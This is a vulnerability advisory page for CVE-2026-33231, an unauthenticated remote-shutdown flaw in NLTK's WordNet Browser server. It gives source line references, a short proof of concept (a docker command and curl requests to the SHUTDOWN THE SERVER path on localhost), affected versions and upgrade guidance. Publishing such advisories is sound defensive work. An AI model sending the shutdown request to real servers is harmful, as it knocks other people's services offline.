CVE-2026-33231: NLTK has unauthenticated remote shutdown in nltk.app.wordnet_app

Published Mar 19, 2026
·
Updated

Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.

Details The vulnerable logic is in nltk/app/wordnetapp.py:

- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)

- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":

- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode

- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC 1. Start the WordNet Browser in Docker in its default mode:

bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"

2. Confirm the service is reachable:

bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'

Observed result:

text 200

3. Trigger shutdown:

bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

text 000

4. Verify the service is no longer available:

bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest

Observed results:

text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!

Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.

Other sources

NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.

— Debian

NLTK has unauthenticated remote shutdown in nltk.app.wordnetapp

— Microsoft

Affected Software

15 affected componentsFixes available
pip/nltk<=3.9.3
debian/nltk<=3.5-1, <=3.8-1, <=3.9.1-2, <=3.9.3-1
nltk nltk<=3.9.3
IBM Concert Software<=1.0.0-3.0.0
All of the following
azurelinux/python-nltk<1:3.9.4-10.azl4
1:3.9.4-10.azl4
Microsoft Azure Linux=4.0
ubuntu/nltk<2.0~b9-0ubuntu4.1~esm6
2.0~b9-0ubuntu4.1~esm6
ubuntu/nltk<3.1-1ubuntu0.1+esm4
3.1-1ubuntu0.1+esm4
ubuntu/nltk<3.2.5-1ubuntu0.1+esm4
3.2.5-1ubuntu0.1+esm4
ubuntu/nltk<3.4.5-2ubuntu0.1~esm4
3.4.5-2ubuntu0.1~esm4
ubuntu/nltk<3.7-1ubuntu0.1~esm2
3.7-1ubuntu0.1~esm2
ubuntu/nltk<3.8.1-1ubuntu0.1~esm2
3.8.1-1ubuntu0.1~esm2
ubuntu/nltk*
ubuntu/nltk*
ubuntu/nltk<3.9.2-1ubuntu0.1~esm2
3.9.2-1ubuntu0.1~esm2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade azurelinux/python-nltk to a version that resolves this vulnerability.

    Fixed in 1:3.9.4-10.azl4
  2. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 2.0~b9-0ubuntu4.1~esm6
  3. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.1-1ubuntu0.1+esm4
  4. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.2.5-1ubuntu0.1+esm4
  5. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.4.5-2ubuntu0.1~esm4
  6. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.7-1ubuntu0.1~esm2
  7. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.8.1-1ubuntu0.1~esm2
  8. Upgrade

    Upgrade ubuntu/nltk to a version that resolves this vulnerability.

    Fixed in 3.9.2-1ubuntu0.1~esm2
  9. Upgrade

    Upgrade nltk.app.wordnet_app to a version that resolves this vulnerability.

    Patch bbaae83db86a0f49e00f5b0db44a7254c268de9b

Event History

Mar 19, 2026
Advisory Published
via GitHub·12:42 PM
Data Sourced
via GitHub·12:42 PM
DescriptionSeverityWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·10:45 PM
Data Sourced
via MITRE·10:45 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·11:03 PM
DescriptionSeverityAffected Software
Data Sourced
via OSV·11:16 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeakness
Mar 23, 2026
Data Sourced
via NVD·07:15 PM
RemedyAffected Software
Jun 24, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Jun 30, 2026
Updated
via NVD·03:18 AM
SeverityWeakness
Sep 11, 2026
Updated
via IBM·12:00 AM
Affected Software
Sep 22, 2026
Updated
via IBM·12:00 AM
Affected Software
Nov 17, 2026
Data Sourced
via Microsoft·06:55 AM
DescriptionSeverityWeaknessAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-33231?

The severity of CVE-2026-33231 is considered to be high due to its potential to cause a denial of service.

2

How do I fix CVE-2026-33231?

To fix CVE-2026-33231, avoid using nltk.app.wordnet_app in its default mode or upgrade to a version of nltk that addresses this vulnerability.

3

What software is affected by CVE-2026-33231?

CVE-2026-33231 affects nltk versions up to and including 3.9.3.

4

What kind of attack is CVE-2026-33231 associated with?

CVE-2026-33231 is associated with an unauthenticated remote shutdown attack on the local WordNet Browser HTTP server.

5

What happens if my system is affected by CVE-2026-33231?

If your system is affected by CVE-2026-33231, an attacker can remotely terminate the WordNet Browser HTTP server, leading to service disruption.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203